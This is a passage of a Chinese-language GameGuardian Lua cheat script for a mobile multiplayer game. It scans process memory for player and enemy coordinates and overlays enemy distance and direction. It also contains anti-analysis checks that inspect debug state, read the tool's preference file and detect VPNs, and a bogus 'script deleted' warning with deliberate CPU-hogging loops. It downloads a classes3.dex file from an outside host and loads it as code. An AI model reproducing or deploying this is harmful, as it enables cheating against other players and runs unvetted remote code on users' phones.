"左侧"}, {range = {-67.5, -22.5}, name = "左前方"} } -- 确定方向 local direction = "未知方向" for _, dir in ipairs(directions) do if adjustedAngleDeg >= dir.range[1] and adjustedAngleDeg < dir.range[2] then direction = dir.name break end end return direction end -- 持续计算并绘制距离和导航提示 function continuouslyCalculateDistanceAndNavigate() if not getSelfAddresses() then print("无法获取坐标,正在重试...") return end -- 假设玩家朝向(需要根据游戏实际情况获取) local playerDirection = 0 -- 玩家朝向角度,单位为弧度 -- 初始化绘制文本 draw.setStyle('填充') draw.setColor("#846DCA") draw.setSize(47) local infoText = draw.text(" ", 200, 200) GD = true while GD do local selfX, selfY, selfZ, targetX, targetY, targetZ = getCoordinates() local disx = targetX - selfX local disy = targetY - selfY local disz = targetZ - selfZ local distance = math.sqrt(disx * disx + disy * disy + disz * disz) / 40 -- 距离除以100 -- 格式化为两位小数 local formattedDistance = string.format("%.2f", distance) -- 计算导航方向 local direction = calculateDirection(selfX, selfY, selfZ, targetX, targetY, targetZ, playerDirection) -- 判断是否到达目标 if distance <= 28.6 then local info = "目标: ".. namei.. " 玩家到站,距离:".. formattedDistance.. " 米" draw.updateText(infoText, info) else local info = "目标: ".. namei.. " 目标距离:".. formattedDistance.. " 米,向 ".. direction.. " 移动" draw.updateText(infoText, info) end -- 更新玩家朝向(这里假设玩家朝向不变,实际游戏中需要动态获取) playerDirection = playerDirection + 0.00001 -- 示例:玩家每秒转动0.01弧度 gg.sleep(100) -- 每500毫秒更新一次 end end -- 新增部分:关闭绘制后重新初始化相关绘制 -- 主程序 function main() local infoText = continuouslyCalculateDistanceAndNavigate() -- 这里可以添加对infoText的进一步处理,比如在后续需要关闭时使用 end -- 启动主程序 main() end end },{ Button, background = floatingWindowManager:getStateListDrawable (), layout_width = 'match_parent', layout_margin = '2dp', text = '地图导航', textSize = '16sp', onClick = function() floatingWindowManager:start('地区导航') end }, { Button, background = floatingWindowManager:getStateListDrawable (), layout_width = 'match_parent', layout_margin = '2dp', text = '敌人距离导航', textSize = '16sp', onClick = function() WB={} WBD={} function getSelfAddresses() gg.setRanges(4) gg.clearResults() gg.searchNumber("17039364", gg.TYPE_QWORD) local k=gg.getResults(1) if #k==0 then print("未找到自身坐标,请检查搜索值是否正确!") return false end local l=gg.getValues(k) local decimalNumber=l[1].address WB["x"]=decimalNumber-12 WB["y"]=decimalNumber-8 WB["z"]=decimalNumber-4 return true end function getEnemyAddresses() gg.setRanges(4) gg.clearResults() gg.searchNumber("17039361", gg.TYPE_QWORD) local f=gg.getResults(1) if #f==0 then print("未找到敌人坐标,请检查搜索值是否正确!") return false end local dl=gg.getValues(f) local ddecimalNumber=dl[1].address WBD["x"]=ddecimalNumber-12 WBD["y"]=ddecimalNumber-8 WBD["z"]=ddecimalNumber-4 return true end function getCoordinates() local selfX=gg.getValues({{address=WB["x"], flags=16}})[1].value local selfY=gg.getValues({{address=WB["y"], flags=16}})[1].value local selfZ=gg.getValues({{address=WB["z"], flags=16}})[1].value local enemyX=gg.getValues({{address=WBD["x"], flags=16}})[1].value local enemyY=gg.getValues({{address=WBD["y"], flags=16}})[1].value local enemyZ=gg.getValues({{address=WBD["z"], flags=16}})[1].value return selfX, selfY, selfZ, enemyX, enemyY, enemyZ end function calculateDirection(selfX, selfY, selfZ, enemyX, enemyY, enemyZ, playerDirection) local disx=enemyX-selfX local disy=enemyY-selfY local disz=enemyZ-selfZ local angle=math.atan2(disz, disx) local direction="" local adjustedAngle=angle-playerDirection local adjustedAngleDeg=math.deg(adjustedAngle) if adjustedAngleDeg>=-22.5 and adjustedAngleDeg<22.5 then direction="前方" elseif adjustedAngleDeg>=22.5 and adjustedAngleDeg<67.5 then direction="右前方" elseif adjustedAngleDeg>=67.5 and adjustedAngleDeg<112.5 then direction="右侧" elseif adjustedAngleDeg>=112.5 and adjustedAngleDeg<157.5 then direction="右后方" elseif adjustedAngleDeg>=157.5 or adjustedAngleDeg<-157.5 then direction="后方" elseif adjustedAngleDeg>=-157.5 and adjustedAngleDeg<-112.5 then direction="左后方" elseif adjustedAngleDeg>=-112.5 and adjustedAngleDeg<-67.5 then direction="左侧" elseif adjustedAngleDeg>=-67.5 and adjustedAngleDeg<-22.5 then direction="左前方" end return direction end function continuouslyCalculateDistanceAndNavigate() if not getSelfAddresses() or not getEnemyAddresses() then print("无法获取坐标,正在重试...") return end local playerDirection=0 draw.setStyle('填充') draw.setColor("#846DCA") draw.setSize(47) local infoText=draw.text("敌人距离:0.00 米,导航提示:前方", 200, 200) while true do local selfX, selfY, selfZ, enemyX, enemyY, enemyZ=getCoordinates() local disx=enemyX-selfX local disy=enemyY-selfY local disz=enemyZ-selfZ local distance=math.sqrt(disx*disx+disy*disy+disz*disz)/52 local formattedDistance=string.format("%.2f", distance) local direction=calculateDirection(selfX, selfY, selfZ, enemyX, enemyY, enemyZ, playerDirection) if distance<=1.6 then local info="玩家到站,距离:"..formattedDistance.." 米" draw.updateText(infoText, info) else local info="敌人距离:"..formattedDistance.." 米,向 "..direction.." 移动" draw.updateText(infoText, info) end playerDirection=playerDirection+0.001 gg.sleep(100) end end function main() continuouslyCalculateDistanceAndNavigate() end main() end }, { Button, background = floatingWindowManager:getStateListDrawable (), layout_width = 'match_parent', layout_margin = '2dp', text = '未开发', textSize = '16sp', onClick = function() end } } }) end, onDestroy = function() -- gg.alert('欢迎下次使用!') end }) floatingWindowManager:newWindow('地区导航', { onCreate = function(floatingWindow) floatingWindow:addlayout({ ScrollView, layout_width = 'match_parent', layout_height = 'match_parent', { LinearLayout, background = floatingWindowManager:getStateListDrawable(), layout_width = 'match_parent', layout_height = 'match_parent', orientation = 'vertical', padding = '10dp', { text("全图导航功能为你开放") }, { Button, background=getButtonBG(), layout_width = 'match_parent', layout_margin = '5dp', layout_hight="30dp", text = '来兮城', textColor='#000000', textSize = '16sp', onClick = function(View) floatingWindowManager:start('来兮城') -- 打开 按钮功能 的窗口, 前提是 newWindow 创建好了的 end }, { LinearLayout, layout_width = "fill_parent", layout_height = "2dp", background = pe0, }, { Button, background=getButtonBG(), layout_width = 'match_parent', layout_margin = '5dp', layout_hight="30dp", text = '落尘之地', textSize = '16sp', textColor='#000000', onClick = function() floatingWindowManager:start('落尘之地') end }, { LinearLayout, layout_width = "fill_parent", layout_height = "2dp", background = pe0, }, { Button, background=getButtonBG(), layout_width = 'match_parent', layout_margin = '5dp', layout_hight="30dp", text = '缤纷派对', textSize = '16sp', textColor='#000000', onClick = function() floatingWindowManager:start('缤纷派对') end } } }) end }) floatingWindowManager:newWindow('杂七杂八', { onCreate = function(floatingWindow) floatingWindow:addlayout({ ScrollView, layout_width = 'match_parent', layout_height = 'match_parent', { LinearLayout, background = floatingWindowManager:getStateListDrawable(), layout_width = 'match_parent', layout_height = 'match_parent', orientation = 'vertical', padding = '10dp', { Button, id="timeButton", layout_marginTop='2dp', gravity="center", textColor="0xFF3A3A3A", background=floatingWindowManager:getStateListDrawable(), text="点击刷新◇\n"..os.date("%Y/%m/%d %H:%M:%S"), Typeface=font, textSize="8sp", layout_width="fill_parent", layout_height="45dp", onClick=function () timeButton.text="点击刷新◆\n"..os.date("%Y/%m/%d %H:%M:%S") end }} }) end }) floatingWindowManager:newWindow('来兮城', { onCreate = function(floatingWindow) floatingWindow:addlayout({ ScrollView, layout_width = 'match_parent', layout_height = 'match_parent', { LinearLayout, background = floatingWindowManager:getStateListDrawable(), layout_width = 'match_parent', layout_height = 'match_parent', orientation = 'vertical', padding = '10dp', { text("可以继续反馈问题") }, { button2("关闭", function() GD = false draw.setStyle('填充') draw.setColor("#846DCA") draw.setSize(47) local infoText = draw.text(" ", 200, 200) end), }, { LinearLayout, layout_width = "fill_parent", layout_height = "2dp", background = pe0, }, { button2("玉皇宫", function() a1() end), }, { LinearLayout, layout_width = "fill_parent", layout_height = "2dp", background = pe0, }, { button2("天鹤山", function() a2() end), }, { LinearLayout, layout_width = "fill_parent", layout_height = "2dp", background = pe0, }, { button2("和顺门", function() a3() end), }, { LinearLayout, layout_width = "fill_parent", layout_height = "2dp", background = pe0, }, { button2("北岸营地", function() a4() end), }, { LinearLayout, layout_width = "fill_parent", layout_height = "2dp", background = pe0, }, { button2("菩提枫", function() a5() end), }, { LinearLayout, layout_width = "fill_parent", layout_height = "2dp", background = pe0, }, { button2("芦苇滩", function() a6() end), }, { LinearLayout, layout_width = "fill_parent", layout_height = "2dp", background = pe0, }, { button2("美食街", function() a7() end), }, { LinearLayout, layout_width = "fill_parent", layout_height = "2dp", background = pe0, }, { button2("长滩", function() a8() end), }, { LinearLayout, layout_width = "fill_parent", layout_height = "2dp", background = pe0, } } }) end }) floatingWindowManager:newWindow('落尘之地', { onCreate = function(floatingWindow) floatingWindow:addlayout({ ScrollView, layout_width = 'match_parent', layout_height = 'match_parent', { LinearLayout, background = floatingWindowManager:getStateListDrawable(), layout_width = 'match_parent', layout_height = 'match_parent', orientation = 'vertical', padding = '10dp', { button2("关闭", function() GD = false draw.setStyle('填充') draw.setColor("#846DCA") draw.setSize(47) local infoText = draw.text(" ", 200, 200) end), }, { LinearLayout, layout_width = "fill_parent", layout_height = "2dp", background = pe0, }, { button2("中心枢纽", function() c1() end), }, { LinearLayout, layout_width = "fill_parent", layout_height = "2dp", background = pe0, }, { button2("铁峡", function() c2() end), }, { LinearLayout, layout_width = "fill_parent", layout_height = "2dp", background = pe0, }, { button2("0号仓库", function() c3() end), }, { LinearLayout, layout_width = "fill_parent", layout_height = "2dp", background = pe0, }, { button2("钢谷", function() c4() end), }, { LinearLayout, layout_width = "fill_parent", layout_height = "2dp", background = pe0, }, { button2("灰色工厂", function() c5() end), }, { LinearLayout, layout_width = "fill_parent", layout_height = "2dp", background = pe0, }, { button2("落尘码头", function() c6() end), }, { LinearLayout, layout_width = "fill_parent", layout_height = "2dp", background = pe0, }, { button2("守望台", function() c7() end), }, { LinearLayout, layout_width = "fill_parent", layout_height = "2dp", background = pe0, }, { button2("发射井", function() c8() end), }, { LinearLayout, layout_width = "fill_parent", layout_height = "2dp", background = pe0, } } }) end }) floatingWindowManager:newWindow('缤纷派对', { onCreate = function(floatingWindow) floatingWindow:addlayout({ ScrollView, layout_width = 'match_parent', layout_height = 'match_parent', { LinearLayout, background = floatingWindowManager:getStateListDrawable(), layout_width = 'match_parent', layout_height = 'match_parent', orientation = 'vertical', padding = '10dp', { button2("关闭", function() GD = false draw.setStyle('填充') draw.setColor("#846DCA") draw.setSize(47) local infoText = draw.text(" ", 200, 200) end), }, { LinearLayout, layout_width = "fill_parent", layout_height = "2dp", background = pe0, }, { button2("拳击台", function() b1() end), }, { LinearLayout, layout_width = "fill_parent", layout_height = "2dp", background = pe0, }, { button2("游泳池", function() b2() end), }, { LinearLayout, layout_width = "fill_parent", layout_height = "2dp", background = pe0, }, { button2("网球场", function() b3() end), }, { LinearLayout, layout_width = "fill_parent", layout_height = "2dp", background = pe0, }, { button2("足球场", function() b4() end), }, { LinearLayout, layout_width = "fill_parent", layout_height = "2dp", background = pe0, }, { button2("篮球场", function() b5() end), }, { LinearLayout, layout_width = "fill_parent", layout_height = "2dp", background = pe0, }, { button2("天鹅池", function() b6() end), }, { LinearLayout, layout_width = "fill_parent", layout_height = "2dp", background = pe0, }, { button2("停车场", function() b7() end), }, { LinearLayout, layout_width = "fill_parent", layout_height = "2dp", background = pe0, }, { button2("椰子岛", function() b8() end), }, { LinearLayout, layout_width = "fill_parent", layout_height = "2dp", background = pe0, }, { button2("螃蟹岛", function() b9() end), }, { LinearLayout, layout_width = "fill_parent", layout_height = "2dp", background = pe0, }, { button2("天台岛", function() b10() end), }, { LinearLayout, layout_width = "fill_parent", layout_height = "2dp", background = pe0, } } }) end }) --获取修改器版本 gg.require('101.1', 13466) gg.diyToast("验证信息中") --辅助环境检测 落梦 = {} local 落梦 = 落梦 local android = import('android.*') function write(fileName, content) if file.write(fileName, content) == false then gg.alert('◆无法加载守护进程\n\n无法获取Root权限。\n\n为了使应用正常运行,您的设备必须已经Root。\n\nGameGuardian通过虚拟环境,在未Root下仅能运行有限的模式。例如,Parallel Space,VirtualXposed,Parallel Space Lite,Go multiple,2Face以及其他。\n\n查看帮助以获取更多信息。\n\n关于如何Root您的设备:\nhttp://www.xda-developers.com/root/') os.exit() end end --网络检测 local pxxe=gg[ "makeRequest" ]( "FT+网络申请" ) while tostring(pxxe):find( "FT+" )==nil do while true do print( "NO Network " ) end end function _A(_B) return string.char(table.unpack(_B)) end local optfff=function() local igs = 0 for i in pairs(_G) do igs = igs + 1 end if igs ~= 36 then goto BAD end ipai = gg[ "isPackageInstalled" ] gpa = gg[ "PACKAGE" ] ggf = gg[ "getFile" ]() gg[ "setVisible" ](false) goto P1 ::BAD:: xpc=nil if gg.isVisible() then xpc=0 end while xpc~=0 do break end wgcz = "by——鹿十七" gg[ "toast" ](wgcz) gg[ "sleep" ](50) gg[ "setVisible" ](true) ::PP:: gg[ "toast" ](wgcz) goto PP ::P1:: if #{pairs({ "EA-FFF" })} ~= 2 then goto BAD end xi = {1, 1} for i, v in pairs(gg) do xi[1] = xi[1] + 1 if i:find( "DIR" ) and not v:find(gpa) then goto BAD end if type(v) == "function" then xi[2] = xi[2] + 1 end end if xi[1] ~= 123 or xi[2] ~= 64 then goto BAD end xi = 1 for i, v in pairs(debug) do xi = xi + 1 if type(v) ~= "function" then goto BAD end end if xi ~= 17 then goto BAD end h = 1 repeat h = h + 1 until type(debug.getinfo(h) or 0) == "number" if h > 2 or debug.getinfo(h - 1).short_src ~= ggf then goto BAD end if debug.traceback():match( ".(/.-):" ) ~= ggf then goto BAD end f = io.open( "/data/data/" .. gpa .. "/shared_prefs/" .. gpa .. "_preferences.xml" ) if not f then goto BAD else spc = f:read( "*a" ) f:close() if #spc < 20 then goto BAD end op = 0 for k in spc:gmatch( "script%-debug.>(.-)<" ) do op = op + 1 end if op ~= 0 then goto BAD end op = 0 for k in spc:gmatch( "history%-0.>(.-)<" ) do op = op + 1 h0 = k end if op ~= 1 then goto BAD end op = 0 for k in spc:gmatch(gg[ "getTargetPackage" ]() .. "%-script.>(.-)<" ) do op = op + 1 ps = k end if op ~= 1 then goto BAD end if h0 ~= ps or h0 ~= ggf or ps ~= ggf then goto BAD end end isby = debug.traceback():match( "(/.*/.*):%d" ) if ggf == isby or isby or debug.traceback():match( ":(%d+)" ) then goto BAD end if not ipai(gpa) or ipai( "com.fffsse.bad" ) then goto BAD end if sdpa == true and gpa ~= "com.fffsse.gg" then goto BAD end while true do goto BAD end end function ffvpns() ffvpn= "https://vpn.uibe.edu.cn/por/phone_index.csp?rnd=0.23178949332658605#https%3A%2F%2Fvpn.uibe.edu.cn%2F" x=(tostring(gg[ "makeRequest" ](ffvpn))) if not x or not x:sub(1,20) then gg[ "alert" ]( "GG无法访问网络请查看相应限权" , "" ) else while #(x)<100 or x:find( "SSL" ) or x:find('I/O') or x:find('javax') do gg[ "alert" ]( " MTP警告:网络数据通道异常!\n\nMTP:本机调试型存在VPN或网络异常,请立刻终止脚本。" , "" , "取消" , "确定" ) local mpxgk=optfff() end end end ffvpns() --VPN检测 if gg.isHTTPdump() == true then gg.alert("花L絮※恋少 系统检测到您(提前)开启了VPN❗为保护脚本隐私,请开启辅助之后在使用VPN,否则无法启动。 ") os.exit() end if gg.isHTTPdump() == false then end if gg.isHTTPdump() == "error" then gg.alert("请检查网络是否正常❗") end ffvpn = "https://biaozhunshijian.bmcx.com" ffvpn = "https://vpn.uibe.edu.cn/por/phone_index.csp?rnd=0.23178949332658605#https%3A%2F%2Fvpn.uibe.edu.cn%2F" x = tostring(gg.makeRequest(ffvpn)) if not x or not x:sub(1, 20) then gg.alert("GG无法访问网络请查看相应限权", "") elseif #x < 100 or x:find("SSL") or x:find("I/O") or x:find("javax") then gg.alert("检测您已开启VPN环境\n为防止抓包⚠,必须启动辅助后再打开VPN,否则无法启动。") for _FORV_4_ = 1, 3 do function AA(bytes,result1,result2) for i=1,999999 do local bytesa=load(bytes) end end function BB() local dataArr={'999999','0000000'} for index,value in pairs(dataArr) do bytes = tonumber(value) AA(bytes,result1,result2) end end BB() print("╾╾╾╾╾⚠ 警告 ⚠╾╾╾╾╾ \n花L絮※恋少 检测到您开启辅助前提前使用了VPN,怀疑您在破解辅助。 \n已自动删除原脚本,请勿尝试破解!") end for _FORV_4_ = 1, 10 do gg.setVisible(true) gg.setVisible(false) end while "http://www.time163.com/" do os.exit(gg.setVisible(true)) end end gg.toast("正在检测是否被第三方调用") --第三方调用检测 fangyu=[=[ local info = {} for i = 1, 10 do info[i] = debbug.getinfo(i+1) end info = #info while info ~= 2 or debug.getinfo(0) or not debug.getinfo(1) do return gg.alert("检测到您使用了第三方打开花L絮※恋少脚本!\n使用拦截器也没用。\n因此触发核心防御。") end ]=] APP = gg.getTargetInfo() vpn = gg.makeRequest("https://weather.mp.qq.com/?_nav_alpha=0&_nav_txtclr=ffffff&_nav_titleclr=ffffff&_nav_anim=true&asyncMode=1&adtag=h5page.ark_expose&city=%E4%B8%AD%E5%B1%B1-%E4%B8%AD%E5%B1%B1&adcode=101281701").content bb, xh = vpn:match("%(Linux; U; (.-); (.-)%)") Y = gg.makeRequest("https://v1.hitokoto.cn/").content Q = string.match(Y, "hitokoto(.+)type") F = string.gsub(Q, "\":\"", "") K = string.gsub(F, "\",\"", "") t = 1 for _FORV_3_ = 5, 100, 5 do jd = math.random(_FORV_3_, _FORV_3_ + 4) if _FORV_3_ == 100 then jd = _FORV_3_ end gg.toast("加载进度... %" .. jd .. "\n" .. ("✔️"):rep(t) .. ("❌"):rep(20 - t)) t = t + 1 gg.sleep(10) end gg.toast("正在适配辅助位数") gg.sleep(2000) gg.clearResults() if yxws == 32 then string.toMusic("当前进程为32位") gg.toast("当前进程为32位") elseif yxws == 64 then string.toMusic("当前进程为64位") gg.toast("当前进程为64位") end 项目名字='花L絮※恋少' 控件颜色='27272d' 翻页选中颜色=0xffEAEDF7 翻页未选中颜色=0xffffffff rs=context:getResources():getDisplayMetrics() rs=tostring(rs) rs=string.gsub(rs,',',';') rs=string.gsub(rs,'DisplayMetrics','') load('rs='..rs)() dheight=rs.height dwidth=rs.width if tonumber(dheight)==nil then dwidth=1340 dheight=2300 end if dheight>dwidth then dheight,dwidth=dwidth,dheight end if not UI宽度 then UI宽度='240dp' end if not UI高度 then UI高度='320dp' end if not 项目名字 then 项目名字='花L絮※恋少' end import('android.content.res.ColorStateList') gg.setVisible(false) luajava.setFloatingWindowHide(true) local material3 = require 'material3' local context=material3:getContext() import 'android.graphics.Bitmap' import 'android.renderscript.Allocation' import 'android.renderscript.Element' import 'android.renderscript.RenderScript' import 'android.renderscript.ScriptIntrinsicBlur' import 'android.graphics.Canvas' import 'android.graphics.Rect' import "android.animation.ObjectAnimator" import "android.view.animation.Animation" import "android.animation.ArgbEvaluator" import "android.animation.ValueAnimator" import "android.graphics.Color" import'com.google.android.material.divider.MaterialDivider' import'com.google.android.material.progressindicator.*' import'com.google.android.material.dialog.MaterialAlertDialogBuilder' import'com.google.android.material.tabs.TabLayout' import'com.google.android.material.tabs.TabItem' import'androidx.coordinatorlayout.widget.CoordinatorLayout' import'com.google.android.material.button.MaterialButton' import'androidx.appcompat.widget.LinearLayoutCompat' import'com.google.android.material.slider.Slider' import'com.google.android.material.materialswitch.MaterialSwitch' import'com.google.android.material.card.MaterialCardView' import'androidx.transition.Transition' import'androidx.transition.Scene' import'androidx.transition.TransitionManager' import'androidx.transition.TransitionSet' import'androidx.transition.ChangeBounds' import'androidx.transition.Fade' import'androidx.constraintlayout.motion.widget.MotionLayout' import"android.view.animation.AccelerateInterpolator" import"android.view.animation.DecelerateInterpolator" import"androidx.interpolator.view.animation.FastOutLinearInInterpolator" import"androidx.interpolator.view.animation.LinearOutSlowInInterpolator" import 'android.animation.ValueAnimator$AnimatorUpdateListener' import 'android.animation.TypeEvaluator' import 'android.graphics.PorterDuff' import 'android.graphics.PorterDuffColorFilter' changan = {} local LayoutParams = luajava.bindClass('android.view.WindowManager$LayoutParams') context:setTheme(0x7f090069) function rgb_to_hex(r,g,b) r = math.min(math.max(r, 0), 255) g = math.min(math.max(g, 0), 255) b = math.min(math.max(b, 0), 255) local hex_r = string.format("%02X", r) local hex_g = string.format("%02X", g) local hex_b = string.format("%02X", b) return hex_r .. hex_g .. hex_b end function hexToRgb(hex) hex = hex:sub(-6,-1) local r = tonumber(hex:sub(1, 2), 16) local g = tonumber(hex:sub(3, 4), 16) local b = tonumber(hex:sub(5, 6), 16) return {r, g, b} end local rgbt=hexToRgb(控件颜色) switchs={} function 获取图片(txt) txt = string.url(txt,"de") if string.find(tostring(txt),"http") ~= nil then ntxt = string.sub(string.gsub(txt,"/","-"),-10,-1) if file.length("/sdcard/长安/图片/"..ntxt,false)<200 then file.download(txt,"/sdcard/长安/图片/"..ntxt) end txt = "/sdcard/长安/图片/"..ntxt end return luajava.getBitmapDrawable(txt) end window = context:getSystemService("window") -- 获取窗口管理器 function getLayoutParams2() local prm = luajava.new(WindowManager.LayoutParams) layoutParams1 = prm if (Build.VERSION.SDK_INT >= 26) then -- 设置悬浮窗方式 layoutParams1.type = prm.TYPE_APPLICATION_OVERLAY else layoutParams1.type = prm.TYPE_PHONE end layoutParams1.format = PixelFormat.RGBA_8888 -- 设置背景 layoutParams1.flags = prm.FLAG_NOT_FOCUSABLE -- 焦点设置Finish layoutParams1.gravity = Gravity.CENTER -- 重力设置 layoutParams1.width = prm.MATCH_PARENT -- 布局宽度 layoutParams1.height = prm.MATCH_PARENT -- 布局高度 return layoutParams1 end function getLayoutParams() LayoutParams = WindowManager.LayoutParams layoutParams = luajava.new(LayoutParams) if (Build.VERSION.SDK_INT >= 26) then -- 设置悬浮窗方式 layoutParams.type = LayoutParams.TYPE_APPLICATION_OVERLAY else layoutParams.type = LayoutParams.TYPE_PHONE end layoutParams.format = PixelFormat.RGBA_8888 -- 设置背景 layoutParams.flags = LayoutParams.FLAG_NOT_TOUCH_MODAL -- 焦点设置Finish layoutParams.gravity = Gravity.TOP|Gravity.LEFT -- 重力设置 layoutParams.width = LayoutParams.WRAP_CONTENT -- 布局宽度 layoutParams.height = LayoutParams.WRAP_CONTENT -- 布局高度 return layoutParams end mainLayoutParams=getLayoutParams() xfcParams = getLayoutParams() local rs=RenderScript:create(app.context) local blur=ScriptIntrinsicBlur:create(rs, Element:U8_4(rs)) blur:setRadius(25) function getBlur(bit) local input=Allocation:createFromBitmap(rs,bit) blur:setInput(input) local output=Allocation:createTyped(rs, input:getType()) blur:forEach(output) output:copyTo(bit) return bit end function View2Bitmap(view,isblur) local width = view:getMeasuredWidth() local height = view:getMeasuredHeight() if width==0 then width=1 height=1 end local bitmap = Bitmap:createBitmap(width, height, Bitmap.Config.ARGB_8888); local canvas = Canvas(bitmap) canvas:translate(-view:getScrollX(), -view:getScrollY()) view:draw(canvas) if isblur then return getBlur(bitmap) else return bitmap end end changan.controlBig = function(control,time) luajava.runUiThread(function() ObjectAnimator():ofFloat(control,"scaleX", { 0, 0.4, 0.7, 1 }):setDuration(time):start() ObjectAnimator():ofFloat(control,"scaleY", { 0, 0.4, 0.7, 1 }):setDuration(time):start() end) end local dpi=context:getResources():getDisplayMetrics().densityDpi function getpx(x) if type(x)=='string' then if string.find(x,'dp') then x=string.gsub(x,'dp','') x=tonumber(x) end return x*(dpi/160) else return x end end function getdp(x) if type(x)=='number' then return x/(dpi/160)..'dp' else return x end end function getdp(x) if type(x)=='number' then return x/(dpi/160)..'dp' else return x end end hanshu = function(v, event) local view if control2==nil then view=floatWindow else if control2:isAttachedToWindow() then view=control2 else view=floatWindow end end local Action = event:getAction() if Action == MotionEvent.ACTION_DOWN then isMove = false RawX = event:getRawX() RawY = event:getRawY() x = mainLayoutParams.x y = mainLayoutParams.y elseif Action == MotionEvent.ACTION_MOVE then isMove = true mainLayoutParams.x = tonumber(x) + (event:getRawX() - RawX) if mainLayoutParams.x<=0 then mainLayoutParams.x=0 end mainLayoutParams.y = tonumber(y) + (event:getRawY() - RawY) window:updateViewLayout(view, mainLayoutParams) elseif Action == MotionEvent.ACTION_UP then mainLayoutParams.x = tonumber(x) + (event:getRawX() - RawX) if mainLayoutParams.x<=0 then mainLayoutParams.x=0 end mainLayoutParams.y = tonumber(y) + (event:getRawY() - RawY) window:updateViewLayout(view, mainLayoutParams) if math.abs(mainLayoutParams.x-x)>=10 or math.abs(mainLayoutParams.y-y)>=10 then return true else end end end local UI宽度=getpx(UI宽度) local UI高度=getpx(UI高度) function checkimg(tmp,ii) if file.length("/sdcard/长安/图片/"..tmp[1],false)<200 then gg.toast("正在下载资源"..ii.."/"..#ckimg.."\n请耐心等待") file.download(tmp[2],"/sdcard/长安/图片/"..tmp[1]) end end ckimg = { {'aohan','https://image.rlyun.fun/view.php/a0f7d04ee1915f2ca8a45d01e68f5caf.jpg'}, {'1655939983','https://image.rlyun.fun/down.php/968a09ca50645c9f189d086193753759.png'}, {'hei_right','https://image.rlyun.fun/down.php/dfcc155180c66711a66a1c6540db5e03.'}, {'heir','https://image.rlyun.fun/down.php/1f8c38a24d8adda4f8f4f897ab2abfbd.'}, {'heix','https://image.rlyun.fun/down.php/1631f943c3cad4fd0aee9e611638198e.'}, {'classes3.dex','https://image.rlyun.fun/down.php/29e1a4722ddf781d8f8d95a68f4e07ad.dex'}, } gg.playMusic("https://cccimg.com/down.php/3df9201e1e88eace8a4d61bac517a02e.mp3") luajava.post(function() floatWindow = { MaterialCardView, layout_height='match_parent', layout_width='match_parent', useCompatPadding=false, cardElevation='5dp', cardBackgroundColor=0xffffffff, strokeColor=0x00ffffff, onClick=function() end, onTouch=hanshu, __onCreate=function(v) v:setRadius(30) local c=ColorStateList({ {android.R.attr.state_pressed}, {-android.R.attr.state_pressed} }, { 0x00ffffff, 0x00ffffff }) v:setRippleColor(c) end, -- strokeWidth='0dp', { LinearLayout, __onFinish=function(v) _ENV['beforejz']=v end, layout_height='match_parent', layout_width='match_parent', orientation='vertical', gravity='center', { LinearProgressIndicator, indicatorTrackGapSize='0dp', trackStopIndicatorSize='0dp', id = luajava.ids['下载进度条'], layout_width = 'match_parent', layout_height = 'wrap_content', min = 0, max = #ckimg, progress=0, trackColor=0xffd7d7d7, __onFinish=function(v) v:setIndicatorColor({0xff161616, 0xff672AFF, 0xff1D8FFF}) end, }, {TextView, layout_marginTop='4dp', text='首次运行,正在下载资源...', textSize='13sp', id=luajava.ids['jzzy'], textColor='#000000', }, { LinearProgressIndicator, layout_marginTop='30dp', id = luajava.ids['加载进度条'], layout_width = 'match_parent', layout_height = 'wrap_content', indeterminate = true, __onFinish=function(v) v:setIndicatorColor({'0xFFFF4F4F', '0xFFF8BD46', '0xff1D8FFF'}) v:setIndeterminateAnimationType(0) end, }, {TextView, layout_marginTop='4dp', text=项目名字..' 启动中...', textSize='13sp', textColor='#000000', } } } mainLayoutParams.x = dwidth/4-150 mainLayoutParams.y = dheight/8 mainLayoutParams.height = UI高度 mainLayoutParams.width = UI宽度 floatWindow=luajava.loadlayout(floatWindow) changan.controlBig(floatWindow,800) window:addView(floatWindow,mainLayoutParams) end) local cpIndicator1 = luajava.getIdView('下载进度条') for i = 1,#ckimg do checkimg(ckimg[i],i) cpIndicator1:setProgress(i, true) end luajava.runUiThread(function() luajava.getIdView('jzzy'):setText('资源检查完毕') end) local UIMAXY=getpx('154dp') local UIMAXX=getpx('280dp') animY=getpx('12dp') local ui = require('ui') local ljson = require('ljson') local shuaxin huiz = function() end function panduan(rec) fille,err = io.open(rec) if fille == nil then return false else return true end end 摇一摇=true YoYoImpl = luajava.getYoYoImpl() vibra = context:getSystemService(Context.VIBRATOR_SERVICE) import'android.hardware.*'; ---@type android.hardware.SensorEventListener local sensor = luajava.createProxy('android.hardware.SensorEventListener', { onSensorChanged = functions.debounce(function() if 摇一摇==false then return 0 end if qhkai~=0 then qhkai=0 luajava.runUiThread(function() floatWindow:setVisibility(View.VISIBLE) YoYoImpl:with("FadeIn"):duration(300):playOn(floatWindow) end) huiz() else qhkai=1 luajava.newThread(function() luajava.runUiThread(function() YoYoImpl:with("FadeOut"):duration(300):playOn(floatWindow) end) gg.sleep(400) luajava.runUiThread(function() floatWindow:setVisibility(View.GONE) end) draw.remove() end):start() gg.toast("HIDE") end end,500) }) dexloader=dex.loadfile('/sdcard/长安/图片/classes3.dex') MySensorManager = dexloader:loadClass('yaocn.rlyun.yaoyiyao.MySensorManager') luajava.runOnUiThread(function() MySensorManager(context, sensor) end) dex.loadfile('/sdcard/长安/图片/Lottie.dex') import'com.airbnb.lottie.*' function getTimeStamp(t) local str = os.date("%Y年%m月%d日%H:%M:%S",t) return str end function panduan(rec) fille,err = io.open(rec) if fille == nil then return false else return true end end function 获取图片2(txt) txt = string.url(txt,"de") ntxt = string.sub(string.gsub(txt,"/","-"),-10,-1) if string.find(tostring(txt),"http") ~= nil then if panduan("/sdcard/长安/图片/"..ntxt) == false then file.download(txt,"/sdcard/长安/图片/"..ntxt) else if file.length("/sdcard/长安/图片/"..ntxt) <= 1 then file.download(txt,"/sdcard/长安/图片/"..ntxt) end end txt = "/sdcard/长安/图片/"..ntxt end return luajava.getBitmapDrawable(txt) end function getRes(x) return 获取图片("/sdcard/长安/图片/"..x) end function getCorner(gtvb1,gtvb3,gtvb4,gtvb5,g1,g2,g3,g4) if not gtvb4 then gtvb4 = 0 gtvb5 = 0xff000000 end local jianbians = luajava.loadlayout({GradientDrawable}) jianbians:setGradientType(GradientDrawable.LINEAR_GRADIENT) jianbians:setColors(gtvb1) jianbians:setStroke(gtvb4,gtvb5)--边框宽度和颜色 jianbians:setCornerRadii({g1,g1,g2,g2,g3,g3,g4,g4}) return jianbians end function getBG(DrawableColor,Radius,StrokeWidth,StrokeColor) if 